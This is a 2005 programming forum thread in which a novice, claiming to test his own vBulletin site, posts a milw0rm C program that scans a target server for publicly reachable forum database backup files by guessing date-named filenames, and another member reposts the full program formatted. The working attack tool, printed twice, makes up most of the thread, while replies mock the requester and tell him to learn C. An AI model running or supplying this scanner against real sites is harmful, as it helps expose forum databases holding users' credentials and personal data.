Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Closed Thread
 
Thread Tools Display Modes
Old Sep 5th, 2005, 12:18 PM   #21
iignotus
Professional Programmer
 
iignotus's Avatar
 
Join Date: Apr 2005
Location: Nowhere Special
Posts: 466
Rep Power: 4 iignotus is on a distinguished road
Send a message via AIM to iignotus
Am I freakin' psychic or WHAT

But yes, as Ooble said, what you're trying to compile would be useful.
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[ 
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;}
iignotus is offline  
Old Sep 5th, 2005, 1:15 PM   #22
FuTuR£
Newbie
 
Join Date: Aug 2005
Posts: 13
Rep Power: 0 FuTuR£ is an unknown quantity at this point
I'm a penetration tester and i wanted to test the security of my Vbulliten site.


#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 80

char *getdate(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate2(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate3(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate4(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate5(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate6(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;

ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

char *getdate7(int b){
static char datestring[40];
time_t ttt;
int minustime;
minustime=86400 * b;
ttt=time(NULL)- minustime;
strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;
int sd, rc, i=0, d=0, b;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

char *http =
"Accept: */*\r\n"
"Accept-Language: en-us,en;q=0.5\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"User-Agent: we want your backups - milw0rm\r\n"
"Connection: close\r\n\r\n";

if ( argc != 5) {
printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
exit(0);
}


while ((c = getopt (argc, argv, "h:p:")) != EOF)
switch(c)
{
case 'h':
strncpy(host,optarg,sizeof(host));
break;
case 'p':
strncpy(path,optarg,sizeof(path));
break;
}

h = gethostbyname(host);

if(h==NULL) {
printf("Unknown Host '%s'\n",host);
exit(1);
}

printf("Trying To Connect To [%s]\n",host);
while(1){
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {
perror("Can Not Open The Socket\n");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {
printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
perror("error ");
exit(1);
}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {
perror("cannot connect\n");
exit(1);
}
memset(buffer,0,sizeof(buffer));

if ( d == 0 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
} else if ( d == 1 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
} else if ( d == 2 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
} else if ( d == 3 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
} else if ( d == 4 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
} else if ( d == 5 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
} else if ( d == 6 ) {
snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
}

rc = send(sd,buffer, strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"404")) break;
if(strstr(buffer,"200 OK"))
{
if ( d == 0 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
}
if ( d == 1 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
}
if ( d == 2 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
}
if ( d == 3 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
}
if ( d == 4 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
}
if ( d == 5 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
}
if ( d == 6 ) {
printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
}
exit(0);
}
memset(buffer,0,sizeof(buffer));
}
close(sd);

if ( d < 6 ) {
d++;
} else {
d=0;
i++;
}
}
}
FuTuR£ is offline  
Old Sep 5th, 2005, 1:24 PM   #23
stevengs
Professional Programmer
 
stevengs's Avatar
 
Join Date: May 2005
Location: Bad Nauheim, Germany
Posts: 436
Rep Power: 4 stevengs is on a distinguished road
are you Mr. Short Term Memory, or what? Have you listened to ANYthing ANYONE has written here? And where are your damn tags?
__________________
-Steven
"Is this a piece of your brain?" - Basil Fawlty
stevengs is offline  
Old Sep 5th, 2005, 2:09 PM   #24
FuTuR£
Newbie
 
Join Date: Aug 2005
Posts: 13
Rep Power: 0 FuTuR£ is an unknown quantity at this point
Im not a professional coder is hard for me to fucking keep up, don't get lairy i know its easy for you.
FuTuR£ is offline  
Old Sep 5th, 2005, 2:37 PM   #25
iignotus
Professional Programmer
 
iignotus's Avatar
 
Join Date: Apr 2005
Location: Nowhere Special
Posts: 466
Rep Power: 4 iignotus is on a distinguished road
Send a message via AIM to iignotus
Quote:
Im not a professional coder
It has nothing to do with coding. It has to do with putting your copied code into [ CODE ] tags like you've been told to so that we can read it.
Quote:
I'm not a penetration tester and i wanted to test the security of my Vbulliten site.
Fixed.

Anyways, here's the code for you all, if it could somehow help...
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 80

char *getdate(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate2(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate3(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate4(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate5(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate6(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

char *getdate7(int b){
    static char datestring[40];
    time_t ttt;
    int minustime;
    minustime=86400 * b;
    ttt=time(NULL)- minustime;
    strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
    printf("Searching: forumbackup-%s.sql\n", datestring);
    return(datestring);
}

main(int argc, char *argv[]) {

    char buffer[1000],host[255],path[255],dog[255],c;
    int sd, rc, i=0, d=0, b;
    struct sockaddr_in localAddr, servAddr;
    struct hostent *h;
    
    char *http =
        "Accept: */*\r\n"
        "Accept-Language: en-us,en;q=0.5\r\n"
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
        "User-Agent: we want your backups - milw0rm\r\n"
        "Connection: close\r\n\r\n";

    if ( argc != 5) {
        printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
        printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
        exit(0);
    }

    while ((c = getopt (argc, argv, "h:")) != EOF)
        switch(c)
        {
            case 'h':
                strncpy(host,optarg,sizeof(host));
                break;
            case 'p':
                strncpy(path,optarg,sizeof(path));
                break;
        }

        h = gethostbyname(host);

        if(h==NULL) {
        printf("Unknown Host '%s'\n",host);
        exit(1);
    }

    printf("Trying To Connect To [%s]\n",host);
    while(1){
        servAddr.sin_family = h->h_addrtype;
        memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
        servAddr.sin_port = htons(SERVER_PORT);
        sd = socket(AF_INET, SOCK_STREAM, 0);

        if(sd<0) {
            perror("Can Not Open The Socket\n");
            exit(1);
        }

        localAddr.sin_family = AF_INET;
        localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
        localAddr.sin_port = htons(0);

        rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

        if(rc<0) {
            printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
            perror("error ");
            exit(1);
        }

        rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

        if(rc<0) {
            perror("cannot connect\n");
            exit(1);
        }
        memset(buffer,0,sizeof(buffer));

        if ( d == 0 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql     HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
        } else if ( d == 1 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
        } else if ( d == 2 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
        } else if ( d == 3 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
        } else if ( d == 4 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
        } else if ( d == 5 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
        } else if ( d == 6 ) {
            snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
        }

        rc = send(sd,buffer, strlen(buffer), 0);
        memset(buffer,0,sizeof(buffer));

        while(1)
        {
            rc=recv(sd,buffer,sizeof(buffer),0);
            if(strstr(buffer,"404")) break;
            if(strstr(buffer,"200 OK"))
            {
                if ( d == 0 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path,     getdate(i));
                }
                if ( d == 1 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
                }
                if ( d == 2 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
                }
                if ( d == 3 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
                }
                if ( d == 4 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
                }
                if ( d == 5 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
                }
                if ( d == 6 ) {
                    printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
                }
            exit(0);
            }
            memset(buffer,0,sizeof(buffer));
        }
        close(sd);

        if ( d < 6 ) {
        d++;
        } else {
        d=0;
        i++;
        }
    }
}
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[ 
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;}
iignotus is offline  
Old Sep 5th, 2005, 4:34 PM   #26
Ooble
I eat cake for breakfast.
 
Ooble's Avatar
 
Join Date: Jul 2004
Location: In my box.
Posts: 4,434
Rep Power: 9 Ooble is on a distinguished road
OK... here we go. Learn C++. Read up on networking in Windows. Then compile the program. You'll find you'll have to change some things.

Or you could just pay one of us to do it for ya. :p
__________________
Me :: You :: Them
Ooble is offline  
Old Sep 6th, 2005, 4:30 AM   #27
FuTuR£
Newbie
 
Join Date: Aug 2005
Posts: 13
Rep Power: 0 FuTuR£ is an unknown quantity at this point
oh

I thought you were all masters, please can you do it <3
FuTuR£ is offline  
Old Sep 6th, 2005, 1:19 PM   #28
Ooble
I eat cake for breakfast.
 
Ooble's Avatar
 
Join Date: Jul 2004
Location: In my box.
Posts: 4,434
Rep Power: 9 Ooble is on a distinguished road
Me? No. Too much effort.
__________________
Me :: You :: Them
Ooble is offline  
Old Sep 6th, 2005, 1:29 PM   #29
Infinite Recursion
Programming Guru
 
Infinite Recursion's Avatar
 
Join Date: Jul 2004
Location: United States
Posts: 3,475
Rep Power: 8 Infinite Recursion is on a distinguished road
Send a message via MSN to Infinite Recursion Send a message via Yahoo to Infinite Recursion
Ooble will do it for cupcakes....
__________________
http://jasonpowers.net

"There are a thousand hacking at the branches of evil to one who is striking at the root."
Infinite Recursion is offline  
Old Sep 6th, 2005, 1:43 PM   #30
Ooble
I eat cake for breakfast.
 
Ooble's Avatar
 
Join Date: Jul 2004
Location: In my box.
Posts: 4,434
Rep Power: 9 Ooble is on a distinguished road
Well, yeah...
__________________
Me :: You :: Them
Ooble is offline  
Closed Thread

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 12:13 AM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC